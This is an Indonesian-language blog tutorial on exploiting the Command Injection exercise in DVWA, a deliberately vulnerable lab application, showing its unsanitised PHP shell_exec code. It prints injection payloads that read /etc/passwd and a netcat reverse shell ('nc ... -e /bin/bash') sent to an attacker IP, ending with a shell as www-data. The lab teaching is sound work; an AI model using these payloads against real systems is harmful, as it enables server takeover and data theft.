Video failed to load

DVWA - Command Injection

695 words
3 minutes
DVWA - Command Injection

Sesuai dengan namanya, Command Injection adalah kerentanan pada aplikasi web yang memungkinkan seorang penyerang dapat meng-execute perintah-perintah sistem operasi. Misalnya, commands sistem operasi Linux ada pwd, ls, cat, dan lain sebagainya. Command injection dapat terjadi disebabkan oleh tidak kurangnya perhatian seorang developer web terhadap validasi input.1

Untuk membuktikan, kita mula-mula akan melihat demonstrasinya command injection terlebih dahulu melalui DVWA yang sudah kita install dan set up di artikel sebelumnya. Setelah login ke DVWA dengan credensial default, admin, pergi ke menu Command Injection. Di sana, ada form ping dan kita bisa meng-input-kan ip address untuk di-ping. Kita bisa coba dengan memasukkan ip address komputer kita dan nanti output ping-nya akan tampil di bawah form tersebut.

Sekarang, kita akan lihat source code yang ada di belakangnya, berikut:

Notes: Source code-nya bisa dilihat di bagian bawah halaman website pada bagian “View Source”

php
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>

Perhatikan bahwa pada variable $cmd yang mengambil input dari user untuk kemudian dieksekusi, yaitu cmd=shellexec(ping.cmd = **`shell_exec( 'ping ' . target );** jika DVWA di-host di server Windows dan **cmd=shellexec(pingc4.cmd = shell_exec( 'ping -c 4 ' . target );** jika DVWA di-*deploy* di Linux, tidak ada validasi / sanitasi *input*-nya. Itu artinya, kita dapat melakukan *command injection* dengan mem-*bypass* perintah **ping`** di server dengan karakter yang umum digunakan untuk melakukan serangan command injection, yaitu semicolon (:) sehingga attacker dapat memberikan perintah lain ke server.

Karakter semicolon (;) adalah sebuah standard item dalam environment UNIX/Linux untuk memisahkan commands.2

Misalnya, saya ingin melihat isi file /etc/passwd di server, saya dapat menambahkan karakter semicolon (;) yang diikuti dengan perintah cat /etc/passwd setelah menuliskan ip address pada form ping tersebut:

INFO

File /etc/passwd dalam sistem operasi linux menyimpan semua data user yang terdaftar di sistem operasi tersebut, baik system/service user seperti www-data, mysql, sshd, dan lainnya maupun login user seperti saya sendiri sebagai pengguna komputer.

Sebagai ilustrasi, dalam mesin saya, berikut adalah isi file /etc/passwd-nya:

/etc/passwd
/etc/passwd

command injection cat /etc/passwd
command injection cat /etc/passwd

Kita bisa lihat output yang ditampilkan di website, mula-mula perintah ping -c 4 192.168.0.109 dieksekusi (menge-ping / mengirimkan paket ICMP - Internet Control Message Protocol ke ip address 192.168.0.109 ) terlebih dahulu ke server, kemudian perintah cat /etc/passwd dieksekusi setelahnya.

Atau jika kita ingin perintahnya lebih sederhana, kita bisa hanya mengetikkan perintah ; cat /etc/passwd tanpa harus mengetikkan ip address-nya terlebih dahulu karena tadi, fungsi karakter semicolon adalah memisahkan dua perintah atau lebih, jadi perintah pertama akan dieksekusi (jika ada) dan kemudian perintah kedua akan dieskekusi.

simpler command injection cat /etc/passwd
simpler command injection cat /etc/passwd

Sekarang kita paham bahwa dalam konteks ini, kerentanan command injection di website mengakibatkan attacker dapat mengeksekusi perintah sistem operasi apapun dari website. Itu juga berarti bahwa attacker dapat melakukan reverse shell untuk mendapatkan shell server. Ketika attacker sudah berhasil mendapatkan shell, itu artinya server sudah berhasil “dibajak”.

Untuk demonstrasi reverse shell, saya akan menggunakan netcat:

Pertama, kita perlu mengecek / memastikan dulu bahwa netcat / nc ter-install di dalam di server dengan mengetikkan perintah berikut di form ping:

Terminal window
; whereis nc

checking netcat in the server
checking netcat in the server

Netcat ada di dalam server. Kita bisa melakukan reverse shell sederhana dengan netcat.

Mula-mula, kita jalankan netcat di komputer kita (sebagai attacker) terlebih dahulu untuk melakukan listening paket:

Terminal window
nc -lvnp 1234

Keterangan:

  • -l : melakukan listening.
  • -v : melakukan verbosity.
  • -n : ip address tanpa DNS.
  • -p : port yang akan melakukan listening.
  • 1234 : nomor port-nya.

Untuk info lebih lanjut, bisa baca-baca di man nc.

Perintah di server (di form ping):

Terminal window
nc 192.168.0.109 1234 -e /bin/bash

Keterangan:

  • 192.168.0.109 : ip address attacker.
  • 1234 : port attacker yang sedang listening.
  • -e : binary / perintah yang mau dieksekusi.
  • /bin/bash : memberi akses BASH shell ke attacker.

Untuk info lebih lanjut, bisa baca-baca di man nc.

Dan kita berhasil mendapatkan shell server-nya sebagai user www-data.

Footnotes#

  1. https://owasp.org/www-community/attacks/Command_Injection

  2. https://www.ibm.com/support/pages/meaning-semi-colon-colon-unix-script-sterling-gentranserver-unix

Support & Share

If this article helped you, please share or support!

Sponsor
DVWA - Command Injection
https://shangdi.github.io/posts/tech/commandinjection/
Author
Wildan
Published at
2024-10-13

Comments

Profile Image of the Author
Wildan
Welcome! Wildan-desu.
Announcemenet
Welcome to my blog! Enjoy exploring ~
Categories
Tags
Latest Moments
Site Statistics
Posts
111
Categories
90
Tags
316
Total Words
576,048
Running Days
0 days
Last Activity
0 days ago
Site Info
Build Platform
GitHub Actions
Blog Version
Firefly v6.15.10
License
CC BY-NC-SA 4.0